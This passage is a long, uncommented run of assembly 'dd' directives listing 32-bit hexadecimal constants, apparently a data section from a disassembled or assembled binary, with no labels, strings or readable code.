6E8D2040h, 85B8C229h, 22F7CA0Fh, 0D2143DC1h, 1B5D04F8h dd 0F8BC6353h, 7E64FC5Bh, 0B410D76Eh, 0BB5905FAh, 0D0FA4A4Eh dd 8C14EAF5h, 9490703Ch, 2935AD0h, 0CE80668h, 0A5CE457Bh dd 0DB688510h, 0C024214Ah, 5F620CB4h, 0B5DEE823h, 5A61F982h dd 0DD01258Ah, 0B6113C5Dh, 2AB400A7h, 0C058E588h, 10C4ED58h dd 0BF01FFB1h, 642321CAh, 3FB07F31h, 88F4BDFAh, 0B14E5D58h dd 0E0920806h, 6CB86804h, 0EB2F30ABh, 6302116Dh, 8612E94Fh dd 6A3BD5FFh, 8114E6E1h, 3149EF19h, 0A020450Bh, 9085E237h dd 84FD6002h, 0D7689BF5h, 0B4A95B0h, 0EC2AD5A1h, 819CF53Fh dd 6F0F4DC5h, 6CDEF92h, 0F380B26Ah, 0D444CCD2h, 9B4ADD1h dd 2330EB6h, 5D28FD9Ah, 5900A0E7h, 0E6685655h, 17EB1644h dd 2E2D055Eh, 0E0D58DA3h, 35B2D7F2h, 22F2D84Ah, 6614B590h dd 0EBB4A235h, 0AAD31DA3h, 0BD34F4h, 3CAE2089h, 0D847C1B9h dd 76FA57Fh, 0A3A6F270h, 9E575BC9h, 0CDC9F83h, 0E4D14D09h dd 0BF84F02Ah, 96D5530Bh, 201418Fh, 682332A2h, 0BEF4F4F2h dd 40E6B73Bh, 3FD7F320h, 41AF5055h, 5B5FB4C2h, 49E92662h dd 4168FD06h, 7C58C182h, 0EEF58D77h, 0E004D9DDh, 0A8685B54h dd 11871362h, 0F4880057h, 0E6E8D4F6h, 0D8586625h, 782570F3h dd 80593ECEh, 0EEC01D7Dh, 93F68F06h, 0B808EB24h, 0CBC33A9Fh dd 730924BEh, 1CF2DDACh, 0F8F6D477h, 6C4B64E9h, 0D8BB2520h dd 233C2C2Eh, 605194Dh, 0FDC96E08h, 0B6D086D4h, 17DD1F26h dd 0EF5F53BEh, 8BBA1C85h, 2FE98324h, 0ADAA8414h, 2AAC9255h dd 641CE9A1h, 4A775E1Bh, 0BB73372Fh, 0EAC7DA8Dh, 3FE5568Ch dd 2CD6E202h, 0C05740CDh, 5AD368C8h, 4079F66Bh, 395E741Eh dd 49DE1BB8h, 0B5E4426h, 587D7469h, 5F8036F4h, 0A5EF5B87h dd 2DB209Fh, 2521514Ch, 7B1054D4h, 9D7AFEF9h, 6C45CD1Fh dd 80BA47BEh, 1B62FCDAh, 0C094798h, 0F34802Dh, 72168E5h dd 4AD2C59h, 0B7C9C1D0h, 0F9AB0472h, 0EB39C288h, 92EEDFFEh dd 16CFA934h, 2EB87181h, 7A4FB05h, 8F350FBEh, 0ECFE8906h dd 445DA58Dh, 7035F62Fh, 68378420h, 0CBFFD928h, 0BD62600Fh dd 0F8620925h, 0F0F80938h, 16078020h, 0FF496CE9h, 31264BCBh dd 0A206EB9Ch, 262C3744h, 0BC42424Fh, 0C2700B2Fh, 0CACD7CA1h dd 46B4951h, 38C81237h, 0BA4B168Dh, 96CA001Ch, 40062241h dd 7D19357Eh, 0A26619A4h, 3305633Dh, 0FEF63FF5h, 1A64A41Bh dd 226DDFFEh, 90051457h, 80E912BFh, 0C0ACF8C8h, 0AE79D7C7h dd 0DDDCBF47h, 1CC30820h, 2DDE1154h, 9831313Ch, 3A22F5Fh dd 0D0F01EC9h, 7913BF74h, 0DAC441B9h, 0B10EFCBFh, 50B856E9h dd 80F72882h, 566025EFh, 94BFE8A9h, 0F8F20BBh, 0BBA482B5h dd 7CBE0006h, 391F5724h, 3C0BF221h, 4ECF7FEh, 43A482D7h dd 9A1759CFh, 122C4B9Eh, 0E1EDC22h, 0A060A554h, 0B445B015h dd 0C8E96197h, 0C29F9CC3h, 1F907905h, 800C8C9h, 97E4D2E9h dd 0E9EF72FEh, 2BFAE60Ah, 2575A493h, 1C4BFA48h, 0D10C5C00h dd 0FD5405E8h, 0CF706986h, 30158DFh, 0A337510h, 8005424Ah dd 937E6997h, 3E9B10BFh, 19D20393h, 7810A336h, 0B2506CE2h dd 0B57BBABCh, 0D5145BD4h, 0C847398Bh, 125E8135h, 0B82E09B4h dd 25A906FBh, 50C4570h, 3468BF4Fh, 0C550D031h, 0D32D2354h dd 0E49D63E7h, 57504F81h, 0BE498A44h, 0A1D9755Ah, 0BBA14D93h dd 0A418B92Eh, 0B4A7CC2h, 0BD550FE0h, 0BC6B7D1Ch, 40350E6h dd 9623B1Bh, 500BC8B0h, 0EC4123D0h, 7932D721h, 3A848DD3h dd 134817B4h, 0FA1FAA7Fh, 40071210h, 93958E99h, 0A8A4C11Ch dd 5A9ACDE3h, 0BE846748h, 358DFB21h, 416B68F9h, 2CB9EBA9h dd 0F9B843BDh, 2994AB40h, 70F2534Ah, 68D31373h, 1470BD95h dd 63DBB9Eh, 67E35A29h, 0F1DB010Ch, 9BE9EB34h, 86612BCFh dd 1398FC80h, 773B4768h, 87D9D1C9h, 6322753Eh, 18A577F5h dd 7B87E180h, 5A601B28h, 2088A5BFh, 0ED6BF577h, 19CA5791h dd 0C1EAC057h, 73F70131h, 8CE40BAh, 88EF408Ch, 5D1DAB30h dd 0EB2F2BE9h, 0BD989409h, 0F8034FFCh, 97E2E767h, 0A72BF953h dd 4540A8CAh, 262F73F6h dd 542B8E08h, 306E6208h, 0D81275EBh, 0DD1CD63h, 2641DA52h dd 106CD479h, 0B70270B0h, 3108D109h, 1D0EC0EEh, 1DE69D06h dd 668CBA04h, 0E0C2461Eh, 0BFDCA3E3h, 7E48D9CFh, 72898A83h dd 86041B86h, 4F0E5AB4h, 57BA9294h, 9101BF03h, 629631Eh dd 0B2B37882h, 0AB828979h, 0EEF7DF22h, 0D54A50B4h, 9834719Dh dd 0E9DA096Ch, 2AC4FD40h, 0F75E7198h, 5F8D85CCh, 6E38AF9Ah dd 20ED4A5Ah, 3562D59h, 756B6425h, 6452D441h, 6F0FBE97h dd 448D1A73h, 3FA3D103h, 0AA58004Bh, 4B5EF52Bh, 0D00B0390h dd 8466A23Ah, 0B91D4F09h, 9DB32A6h, 6D13FECBh, 94D133C1h dd 4081C511h, 19487AC9h, 62762D89h, 7487DE2h, 31242380h dd 0A213BE7Bh, 0EB84C1F8h, 121A0005h, 4AE9FB61h, 0CBF0F4F2h dd 50680904h, 0B3AC4B34h, 0A14C31B0h, 0F1046E7Eh, 35ED4339h dd 79A7D8EBh, 21E907BFh, 648B04B9h, 0EF2153BEh, 0CD308358h dd 50AA2765h, 0B40DF374h, 7841F76Bh, 55D67FC5h, 1159E022h dd 6813D0C6h, 298C7B42h, 0A3944A0Ah, 30C72473h, 2C09C8ACh dd 72927486h, 6702B78Eh, 4DDE316Bh, 0F050912h, 41AE78C9h dd 0AA68022Fh, 3DB42657h, 488D676h, 6CA74F27h, 0A9AB22C2h dd 3AD1D754h, 13D2CAE4h, 0B8F360FAh, 4D211284h, 40220962h dd 0DD405ED0h, 0F3384F68h, 93F37D61h, 89CA5DDDh, 0A51EB84Bh dd 55823AA9h, 0EAD55D5Eh, 83D3FFBBh, 54E9DC2Fh, 686F219Dh dd 0CA661F6Ch, 5E7D5D10h, 89E75EAAh, 52C493A8h, 108F5648h dd 0AC4BDB98h, 0B053DB8h, 0FDFD41F1h, 25FB629h, 7513B318h dd 53C198BAh, 0BD6600CDh, 766A74ABh, 3BF0BE45h, 6BB4B5CAh dd 0F95A7FF9h, 0E8291393h, 61C44904h, 67DD5D1Fh, 0E6BFB64Eh dd 0C0E91035h, 9BA3E01h, 90E0765h, 0DD40F759h, 4D4F16E9h dd 0CBD340BBh, 31E73659h, 577DE590h, 0E9BBEF04h, 0B61745F8h dd 95D73EA0h, 27F0F12Fh, 65DCDE8Bh, 13CCE958h, 5FE411D6h dd 5605055Bh, 0E07FFB6Eh, 4240039Bh, 911B0F35h, 0E14547BAh dd 54B8338Fh, 297DDACAh, 6FFB2025h, 0D05948E8h, 5C4C07CCh dd 4ED3D010h, 125609CCh, 0A86B1A68h, 6FA977h, 2640CE24h dd 0DB05BF7Eh, 31503F6Ch, 0EF83A8C1h, 54E78282h, 0BAE3E616h dd 3E2E10CBh, 8F0EB102h, 293FA314h, 85840FEh, 0CC8995Fh dd 61A0EE63h, 1AC39D3Ch, 7D10C932h, 681652D0h, 7064347Bh dd 2CDB1ABh, 0E80C4FF6h, 80329A8Ch, 5F014B98h, 633A963h dd 5B0A2AFCh, 7EE51DAh, 29A29268h, 0AC76D962h, 0C12F6E58h dd 0BC610D5Dh, 0FEBC3B4Eh, 2F221750h, 0E5280540h, 140C3408h dd 0FE341717h, 3C01F8D6h, 6BE49256h, 19C953ADh, 0FA013FA2h dd 404D327Fh, 2D73559Ch, 885F20C5h, 59130847h, 0ABE064EBh dd 782CCEF3h, 96FDA75Ah, 12172FC9h, 80EAA9F7h, 1E6A671Bh dd 62AAFC21h, 203E271Ch, 321D5E0Bh, 0CFEA65BEh, 6993FB75h dd 62B1F1F5h, 9048EA94h, 98864A71h, 62BF009Ch, 4BD1686h dd 1B4AF9C1h, 4116D0FAh, 50B735Eh, 10D3C6E9h, 1F55E63Bh dd 0B50230Dh, 5420795Eh, 0C3618724h, 0D1DCBCCBh, 3A163C73h dd 2D38CB0Fh, 55F94274h, 42F068D4h, 0AEFAD6DDh, 42C842Ch dd 0E9C82834h, 806CB035h, 5343F507h, 0DDD587B3h, 1CF52485h dd 0ACE7133Ah, 20E9F186h, 281F006Bh, 4CEA80E2h, 3BF55870h dd 0A4E453ACh, 7845F2AAh, 7EB62280h, 0B151E6D0h, 0CE30BE12h dd 3280712Ch, 2D069DF6h, 15E9CC00h, 0E6FAA81Eh, 0CE810303h dd 3E663BB4h, 4CFB0C05h, 97002A16h, 92569073h, 79DC27E9h dd 3323B0FFh, 20EEF57Eh, 3865188Ah, 61915995h, 9FCF43E9h dd 0C552FD2Dh, 0D5E0E5AFh, 74A23F4Eh, 195E3E00h, 82BD551Ch dd 421D2B16h, 0F7A602EFh, 254046DEh, 0A2543CFh, 0FD35604Dh dd 57B4264Bh, 3B0D0FE8h, 0E3F07F2Bh, 5B12592Fh, 0D11096D5h dd 28C6EB47h, 91688527h, 8EEAAE13h, 98064D4Dh, 93B4E18h dd 0D10103A4h, 28085608h, 0AEAA95F6h, 292D5C9Ah, 60345947h dd 0FED169E9h, 0A560FBB7h, 0A4E067D5h, 0E2F72615h, 18753DB5h dd 9FD9C476h, 59F7603Ah, 0C2222D14h, 5A05FDA0h, 0BE6E84BAh dd 0BE2F63B3h, 0E984187Eh, 8CABE718h, 2D0F7ED3h, 12016021h dd 0CD066FCh, 0F07D8A78h, 0B6C3A1A7h, 5CFE3D2h, 22E90835h dd 6824D973h, 7A25810h, 0DBF721EAh, 0EC2F1B52h, 4782065h dd 5D8013A2h, 0BC2C9735h, 154082FAh, 2621B701h, 0EED71633h dd 1CA2EA80h, 7BB23D1Dh, 5FE05561h, 0BDE4DF2Eh, 68411778h dd 20CFA10Dh, 0B9FEDA55h, 0DDF77218h, 38ECBEh, 22355199h dd 0E9276319h, 0E214232Ah, 0B3C5B920h, 8BE00D9h, 467C9E1Bh dd 8087E92Dh, 7FFEBD4Bh, 316B2663h, 0CDF40826h, 993B00Eh dd 1524FBC3h, 69759121h, 0F0706388h, 391B6A09h, 0C3625F18h dd 0A65B0805h, 9F9E1130h, 693F83Bh, 7CF929EBh, 80418FD2h dd 0ED20C0C9h, 0E4B09D23h, 5982F6C8h, 7B4B2734h, 0BB7010F2h dd 0BFEFB1BCh, 28AB3717h, 7C60C923h, 0B4506616h, 0E1083DF0h dd 911B290h, 5C58BD68h, 8106563h, 5FAFD667h, 592904A7h dd 80717376h, 752809F4h, 4EC675DEh, 54D1F75Bh, 0FB5EA728h dd 0BFE1A689h, 0A01E523Bh, 7966A95h, 13FA4F3Eh, 0AA95FA89h dd 3B0EF1EAh, 9396C90Bh, 0F2210310h, 54C734D5h, 3D6C2C02h dd 0E889B272h, 2E16ED3Bh, 0C7C5F0Bh, 3485FDDDh, 0FB512581h dd 913D6468h, 310E1410h, 0C110A931h, 18A3B900h, 577A3E26h dd 84648B02h, 0F1AE4112h, 6F4254A5h, 6BB6456h, 2B1604Dh dd 4BE9E618h, 0BF9FC51Ch, 682ED48Fh, 0C5D92FD4h, 70EB5D92h dd 350E9D0h, 0D549B4BCh, 33279234h, 20766655h, 517677B8h dd 1785D549h, 69B9D7F7h, 0FA21B90Ah, 103109C4h, 0E893F55Ch dd 555BE944h, 5A63E9BAh, 840B85FDh, 81A1813h, 4A58F580h dd 77BC2DB7h, 0E9595E83h, 45C528A2h, 965F58F4h, 7DF60589h dd 641F9326h, 2269A48h, 3461BC44h, 1096BFCh, 0EB807CC7h dd 0E94981FDh, 0A2A7E528h, 0D4CA0F7h, 265BAC18h, 166DE3D1h dd 1F13014Bh, 2AB75830h, 1735C717h, 0CA2717AFh, 72BF58D0h dd 77090440h, 0D87627DEh, 0A5ACFD7Bh, 5E873409h, 5D024174h dd 16E97BF1h, 0B75A0840h, 0A50627Ch, 29358061h, 7AD7C05Ch dd 694A1925h, 86DCC2E7h, 499FFA2Eh, 0E94C56D7h, 0AD3434Ch dd 0ADCBECh, 50F4B849h, 31282EB9h, 0EC25E7E8h, 31A7598Ch dd 2BF088D4h, 70685488h, 59422F4Dh, 0B0F593A0h, 52C4C6ECh dd 0F7AB14B2h, 5DEA15B7h, 0BEE98398h, 0BA540798h, 0EAD643F0h dd 6AC804C5h, 477F880h, 0E8F5AFAh, 90745FAFh, 30B10319h dd 0D1CBB753h, 0F9890B2Dh, 0BFC401C6h, 0CF844014h, 0C36B128Dh dd 0A4D0508Ch, 4E0D248Ah, 3FA96F9Eh, 0DEB781F8h, 0CEDD11Eh dd 8C994A4Bh, 68BFD291h, 99C280BBh, 2051A65Ch, 4B1DBE72h dd 7D7B86FDh, 3966C073h, 2172D28Ah, 5632EA7Dh, 5D5C44E4h dd 5185FFCDh, 17AB9D68h, 0A0ADA9AAh, 9DF217E9h, 350418E6h dd 16B55B78h, 686189EFh, 5B2C4F12h, 90372447h, 87CB175Ch dd 4CDF69DEh, 295B0283h, 7F11E9C7h, 2746B0A2h, 868835D1h dd 0E5A2D06h, 27F5EB20h, 0DDD6415Fh, 66795303h, 0B5EFB669h dd 0E8B093DAh, 2E9C612Fh, 0BBDEBDAh, 0CABA5497h, 5F850C7Eh dd 2F4EE99Eh, 0C4432A0Eh, 0F6AB12D4h, 35C34883h, 33F1535Ah dd 30D516AFh, 3CF7F6CCh, 21ADFB6Ch, 0C1811245h, 0B3E90CE8h dd 5C16A02Bh, 5E9CD797h dd 89892BBCh, 4EBAD696h, 0A227EFF2h, 0FEC741E2h, 0DE478CFBh dd 0F75A01E2h, 0E9124E9Eh, 4EBBB00Bh, 6673B2C0h, 27C1785Fh dd 0CA0207E6h, 6640C5A5h, 2413F7EFh, 0FEE94F3Bh, 3F5E0840h dd 70CA46E9h, 3968664Eh, 6AA4784Fh, 0B6520E53h, 0BBCB33Dh dd 915F5AF3h, 0EE3A5088h, 4E596968h, 0AE0D245Fh, 0F17CA3FCh dd 0CD12AE3Eh, 0C506B3EBh, 66F8831Dh, 5AB509A5h, 530B7E46h dd 0F6574A0Dh, 0B0CE873h, 0FC45148Bh, 7696D7AFh, 0A020FD95h dd 0C7A27BBh, 0E3C16214h, 0B1F302ABh, 60384C37h, 7EDBD3CFh dd 0F6E6C88Eh, 3718552Ch, 826C1DFBh, 74F1E3C0h, 1ACF8603h dd 176ACE68h, 40EA3A23h, 276B5565h, 59BC8905h, 79944A09h dd 0F4918CCEh, 5A97BA2Ah, 971EF48Eh, 0C3889C05h, 0EFA3C556h dd 84D57CD9h, 752C682Ah, 52E828ABh, 5781297h, 40C45EBDh dd 9620E281h, 9BC21781h, 3017DB21h, 13176763h, 0AA44E0EBh dd 580BE745h, 8C8FFD74h, 5AF637C9h, 6227E982h, 13D744F7h dd 0E08EA80h, 0D0056797h, 7189BA5Ah, 5FBDD530h, 0ABAAB430h dd 0E4E36B02h, 55E88950h, 34E56140h, 0AC3B5B81h, 682D71BBh dd 4A51FAA0h, 5A28038h, 0BC054103h, 2DE8291Fh, 5A5D0701h dd 0C37C331h, 0FF59B719h, 2BA83FEDh, 4A203F4Ch, 0AA685812h dd 21192ED1h, 5B1FA72Ah, 24EF8812h, 76C50BF1h, 0B90762E4h dd 46405A90h, 0FEF565DFh, 0DE130D16h, 2E80231Dh, 0ECFEA81h dd 83313BC0h, 0C9E29060h, 63023A6Ch, 0E6DEE953h, 0C39C49FEh dd 0F861EF2Eh, 0EC78A9BFh, 0A367B787h, 1405CA83h, 32C8D04h dd 818453EDh, 0B647ECC1h, 58DCB718h, 9BE9D630h, 0FDAE9F27h dd 0FADEAEE4h, 90811F9Ch, 936D0E55h, 44DA0167h, 0B05F080Bh dd 9D15ED97h, 510CDB51h, 0E4D7B7D2h, 0E21497F9h, 21D05A5Fh dd 44E963F6h, 60BF4B8Bh, 8219FCFDh, 5C66D8C0h, 0E0495B2Fh dd 25619461h, 0A9D521D3h, 7C488386h, 54CDD248h, 51970F2Ch dd 0CBE04B8Fh, 20CC6BECh, 4AD40CC1h, 5A793778h, 1913F83Bh dd 0AC04071Dh, 0E996B1B3h, 0C1AA4435h, 0EC53C991h, 0D92428DDh dd 0BE0BB55Bh, 0B704D8C7h, 94E82A85h, 998EED19h, 913A5D07h dd 6EA260h, 1DF602B2h, 44EAC0DAh, 933DF280h, 0A9EFE9Ch dd 0D1281B04h, 87F897E9h, 4D3CBE4Eh, 2A6297D2h, 9C64C5FDh dd 125BB88h, 14F2DA94h, 8F9DD595h, 4DE9CDB0h, 4D56954Bh dd 0AAF9ABE4h, 52D4C327h, 0D4EB27BBh, 0C9E98B5Eh, 0CFFB8FA9h dd 0D210B124h, 0DF48BD4Ah, 79330F49h, 476D42E4h, 0FE12C308h dd 5B420EA1h, 9F295FBDh, 3AB0E2DFh, 72F1847Bh, 0E5345E1Eh dd 0CC1363F6h, 0FDCB7C5Fh, 6F54FEBBh, 925FA5CBh, 1D925CD9h dd 5C79C9B7h, 0F50089DDh, 0D1BF5A9Eh, 6FD68855h, 604FE9D0h dd 68506441h, 0DEBC6D97h, 0F027FE66h, 403290E8h, 6C413163h dd 58E09E03h, 61EF6BCh, 0B0E44B55h, 0F6A4F173h, 0EE7D1800h dd 4D0F743h, 31E94048h, 8CB2AFC6h, 8E51BA7Dh, 65A199FBh dd 4656FEBAh, 0F7A94013h, 0D03ABC41h, 56D70106h, 0D8410698h dd 62BB9300h, 0A2B2D36h, 10D5AF6h, 0B0434C7h, 635BEFA6h dd 8EE4C725h, 25B15849h, 58C59BDh, 0AAE72157h, 391469C1h dd 680141D4h, 34081CCBh, 9214111Ch, 4FA6BB93h, 0BE97EAD0h dd 0E8FADE21h, 40B99741h, 89F95440h, 1F594929h, 0E9545704h dd 808BA03Bh, 1215E33Ch, 3161760Eh, 0EB64C845h, 0B23BFDE0h dd 0B7A0D63Ch, 0A149FE15h, 81052BF0h, 0DB5C7BF0h, 81D329BDh dd 6355BBB2h, 0F2824A41h, 117A7D1Fh, 0FEE2A860h, 46F310B7h dd 6FB29192h, 0C91741ACh, 0DF69050Bh, 164CF83Eh, 0BE4CD56Ch dd 0E6E05016h, 0EB5E5F08h, 11D6AD60h, 0EB334E0Ah, 77442F56h dd 2D21FD0h, 5730C0D1h, 15072518h, 8DD65FE0h, 80E9DD12h dd 0AD5ECDECh, 0B7E68096h, 0BD0C276Ah, 0A095B0D2h, 2FFBEA67h dd 0A1204F90h, 27BE3BC9h, 0E3829BA7h, 29873163h, 52E55AFh dd 1A01ECEh, 0B523E221h, 9DBAEC6Fh, 24BE16CFh, 0FB80A664h dd 5C4841F6h, 0A8101D82h, 0F3A04F6Fh, 0E406464h, 2B6BE009h dd 0B8B0D250h, 238A800h, 56A70573h, 0DE253h, 0A8D5864h dd 0B9B3B42Dh, 27BD624Fh, 0C907B812h, 3DA16FD2h, 0AC45FA2Fh dd 83F4CCC9h, 0EDC8BD58h, 6BA0F32Ah, 6A347E2Dh, 19C7AC07h dd 4EF62E4h, 82FA89CAh, 14F5ED1Ch, 2A02971Eh, 0E0091777h dd 2DEA4C37h, 0C350BE25h, 31F87A12h, 0A8DCD5B0h, 7EABDA3h dd 0D1172A5Eh, 0A130C5E5h, 17986BA2h, 6CBB0B2Dh, 885F362Fh dd 5E02072Dh, 4C747968h, 61E30376h, 0D2F74AACh, 787DA4F9h dd 0C320C444h, 0F0564807h, 7E5D3945h, 0D617DF8h, 286FB128h dd 0A426837Ah, 0C4E9169Ch, 50F83710h, 0E17C85Fh, 0A71A1041h dd 0A9625DCBh, 5C671875h, 0E97FEF30h, 95E91242h, 0F83880E4h dd 0A0474F61h, 0FEE6AAD3h, 870994BAh, 76D24EA0h, 957A2F93h dd 0F98707BFh, 0B813FEF9h, 0DF634F5Fh, 0FE29F5AFh, 16054F57h dd 0A0DAB85Ch, 976FC868h, 0C0E92DF9h, 53659EBh, 1AE90BCCh dd 0BC37AA90h, 744809E9h, 0BD81C969h, 30156DD6h, 0D250EEA0h dd 390BED06h, 0FE73E579h, 9F08A0DCh, 50609DFEh, 0B706CCE9h dd 74FC9F9Ch, 0ED7E209Dh, 7B73D78Eh, 8A122EB2h, 95AC59Ch dd 13A720B9h, 0B4E97FD9h, 2BC12F11h, 0BE371DBAh, 4387EECAh dd 0F3EEB052h, 18F5A5B7h, 6014E9EFh, 8BBB4816h, 6C25E521h dd 0EB20774Bh, 0C8D564Dh, 183ECBECh, 4DB15E0Bh, 95976F7h dd 6CC8632Eh, 4AAA2F80h, 82826888h, 0D159CFC8h, 7F062EEh dd 0F6B16E7Dh, 0ACA55F9Ch, 6A5FF2A2h, 0C0F47720h, 0FA2E4C53h dd 8C7E0627h, 0BF4A6870h, 85B9CB51h, 148B50F0h, 10F82AFAh dd 66057FC2h, 0AF76C1BBh, 0CCE5187h, 0E0C5AD72h, 0F6D577BCh dd 17436E62h, 9E7DF2C1h, 0B136EC19h, 6F53D9B7h, 1A2AAFA6h dd 744D6812h, 80BA3D34h, 0B02DBB8Eh, 0F7812601h, 41D764ECh dd 4FC7BE70h, 0ECAAFFEh, 0F7E3E9C2h, 7D267CE5h, 0A046F42Fh dd 815F95CCh, 0A0E9529Eh, 0B559047Dh, 0D074D509h, 32B5E182h dd 0E7F72357h, 2EB91371h, 904A6112h, 42BC057Ah, 68DF4579h dd 0FA0812BAh, 0F9EA1C49h, 39580858h, 0D00C3231h, 85E58100h dd 22316A1Dh, 2008F58Eh, 0EE0115B5h, 15434EE9h, 688204CAh dd 0DF4E178Fh, 0D8172E90h, 4881CF3Ah, 5F8120A7h, 64F46C7h dd 0F8D77013h, 1BC59012h, 98988AF8h, 7D826897h, 5A4215D4h dd 84F190C2h, 72A604FDh, 0FA59C801h, 0FC5F14A4h, 0FFD25B82h dd 5197F75Fh, 0E6554A4Ch, 0CAB4442Bh, 0B038500Eh, 25E2C065h dd 9022D330h, 0BB864086h, 70F970Fh, 0AB0A491Eh, 2D814D0Ah dd 6889325Bh, 0A6D9E7h, 0AE303F2Dh, 0C5483197h, 8C4A71B9h dd 92557622h, 6C65F72Dh, 53298F98h, 37071668h, 6BB804AFh dd 2DEE169Eh, 0DA33010h, 2CEEB7C0h, 0C13BF644h, 1333270Ch dd 0FC8F32Fh, 41409D19h, 0F7FD1428h, 3820A8F4h, 0B7514BEAh dd 0A4CC61F8h, 5100970Bh, 291C8E70h, 892D0C5h, 0E8705B2Dh dd 4A7E6449h, 6BBB8FEEh, 0A179020Ch, 0EB590411h, 9418A8DCh dd 10B2010Ch, 0DFE6CA80h, 9EC2509Fh, 4927E956h, 3D4B53A8h dd 40CCD32Ch, 2D40E8D1h, 2B4D1B0Bh, 802142AAh, 0B15A7FEEh dd 3AF7970Fh, 94488076h, 9F7EAF4Eh, 3143272h, 7696E646h dd 2CD20A02h, 41FE01C4h, 132F0635h, 2538AFB1h, 0A3EF5E64h dd 37B00705h, 0F6D2C330h, 0FBE9FC3Fh, 10BF0825h, 0B55FFA1Ah dd 9564E0F9h, 0FE4B43ECh dd 4926FCAh, 0D5774133h, 489C05ABh, 979EBCA9h, 0A1D84884h dd 3802F68h, 65D6D518h, 0C35DA724h, 2C3D6102h, 1502F723h dd 0D40BC7BAh, 0D8203BB6h, 4F4D5EB7h, 0AFF68365h, 993A6EA5h dd 36BA3EADh, 10A07EEBh, 0B583881Bh, 4884B5E9h, 0C44A0EFCh dd 20EEF67Ch, 8054B277h, 0C0D5E204h, 198206EAh, 269CE0BCh dd 0F796A870h, 5F791E0Bh, 1644D27Bh, 8059E32Dh, 694E0957h dd 0C4ED2DE9h, 76E74220h, 2AED2088h, 2ADB20FEh, 0AB277036h dd 2583FE29h, 7C571E77h, 0AF5309BEh, 0BC00460Dh, 5F31EDAh dd 0B7740CC1h, 46209D0Ch, 52461711h, 0A59470h, 1ABE5E08h dd 324E5914h, 3329E0h, 0B9511D83h, 7F9350B0h, 0FE38699Fh dd 0B05F921h, 0FB0E0104h, 0F1DB28FDh, 24B554F1h, 0BC24FF7h dd 413E05ADh, 0C0612D7Bh, 0A41AAC7Eh, 442BE400h, 13515809h dd 9816855h, 0E6826A48h, 0F601491Fh, 0CDE180D1h, 3F20CCC1h dd 9DBC5E50h, 11F4429h, 64CA5584h, 0D5F520A5h, 975BC240h dd 1F07ECF3h, 759280Ch, 70A9E98Fh, 0AA4897D6h, 70829CF1h dd 0EF6CB78Bh, 2AAC35Bh, 31F7E9FCh, 0CA31207Dh, 584143E3h dd 0BD059415h, 0FB2F8061h, 0F5C67F4h, 8BBA5253h, 817AC660h dd 72179CF2h, 0C8094484h, 0DE6D2E7h, 10323DDCh, 2612D878h dd 0C1DC2161h, 0E28303EEh, 4C972B18h, 0E82CCEB1h, 0E9182084h dd 6844F9FAh, 344F580Ch, 2C8906D2h, 2D4E86E0h, 0BD3610BBh dd 72608600h, 0EE38118h, 0FC71792Dh, 0E8840E62h, 5250A5ABh dd 203BD0B5h, 769C7D16h, 0A1EEEF12h, 0CF328128h, 1FF57F6Bh dd 301E0CA8h, 0FC267D31h, 744BF71Ah, 8356EFh, 57C96073h dd 6A9DDCE9h, 0FF95D1Dh, 0DD5DEF89h, 0F78E8EC7h, 0E16862F1h dd 58FB555Ch, 0FEB41105h, 196CB6EFh, 2968C52Fh, 5910AC2Ch dd 0D0F7007Fh, 0AF9A0A05h, 0B0015850h, 2BB3CD5Fh, 1674BCB8h dd 0F80DBA29h, 0F1AE4B6h, 274EF07Eh, 0CA4E45B0h, 2E8752B5h dd 8F9C0A89h, 0E32023B3h, 0B1515003h, 8206860h, 76ABF180h dd 0C9FE3BD0h, 88A8C18Bh, 0E0C05781h, 0BB6EF04h, 0CC012C24h dd 0D10CC20Ch, 888B4D8h, 692F30C9h, 807ACB88h, 511A6D53h dd 2264048h, 0F2E95502h, 0F446DD85h, 79A6463Ch, 6237799Fh dd 0AF89B362h, 5B08902h, 5618C70Ah, 0B5846819h, 6AB05E69h dd 0DB8B3E1Eh, 69375971h, 60A77175h, 6335B6BEh, 0F4E96E17h dd 0F452D5A0h, 4299A01Eh, 5BDE0608h, 699F680h, 0F0208F01h dd 2CC0FE5Ah, 3BD01630h, 0EF12BE04h, 86E84628h, 0B0258D8Bh dd 20FC6623h, 0B9030983h, 5DE855A5h, 1BC3DFD1h, 6033131Eh dd 2A92E379h, 7CFAB618h, 0FF972A70h, 0E905A595h, 0AB53546Fh dd 0F2DD0BFFh, 270045DDh, 7C46BA75h, 0AE5252F2h, 0FF49CC10h dd 0BF4EA094h, 0F7FB5C12h, 15AD4F4Dh, 1F274294h, 55C9A8F9h dd 5C76227Ah, 0FEB26A17h, 59357389h, 0F6FAE3F1h, 53B7BB88h dd 458F1CEh, 2CE8C02Eh, 15A5F0E9h, 405C12B7h, 1D6E53EEh dd 895D42F9h, 0B0774BD4h, 3B1181CDh, 5717783Ah, 0F193045Dh dd 0EFC10220h, 1464C008h, 54593246h, 0ED22411Ch, 537E5D03h dd 9AEB255Ch, 3FC6E869h, 0F01981A9h, 7566D2BFh, 46D2FACFh dd 0CD2CB009h, 0A5787D64h, 0AE090882h, 2716955Dh, 762595FCh dd 0B4E97888h, 25D59F5Bh, 2A79F1EBh, 6B7848B4h, 33781C1Ah dd 3A396812h, 599BDBCCh, 5C485BB1h, 0D927FB4Bh, 240FA4Bh dd 0DB8B9DF5h, 888AEF21h, 8B56A5EEh, 9BD4F95Bh, 0E1D4BC3Eh dd 892FDBF3h, 44C60279h, 499BF45Dh, 226D0371h, 277D63DCh dd 0F9EE6C48h, 429C0C82h, 4C755020h, 0A800865Ah, 0D004F52Ch dd 0D2EDC828h, 6EA2FF60h, 19E91684h, 9FFEB85Bh, 64A662D7h dd 10D80115h, 5BE1445Ah, 552D092Fh, 0D6976650h, 0EC1A58AEh dd 9772FBB5h, 86C8EE50h, 64464B04h, 0BA41C529h, 48CF2BC8h dd 0AD8129FBh, 92F5C2Eh, 0C2840805h, 7EAFB8BBh, 98D696B5h dd 5AC1B2E4h, 0A71DBC5Eh, 7BF16DF5h, 8751E22Bh, 12056851h dd 793531EFh, 20E206E8h, 0F7261956h, 0CF02C2D5h, 55653F71h dd 114A86C6h, 9A6FB2E1h, 5DF65EC3h, 24A5624h, 34553DD7h dd 1C0E242h, 460082E7h, 0E9474E43h, 0B7FEC96Eh, 0F4697276h dd 4B7A9C1Dh, 1E516E14h, 0AB5CBA02h, 8EC25D0Bh, 0F75A97D4h dd 0E14F87CCh, 261888BAh, 0F5862346h, 2D4B88AFh, 50349E9h dd 732543C7h, 2E5C8CBh, 0B6A1E907h, 0C01B1A57h, 58C679C8h dd 825AB41h, 8840A601h, 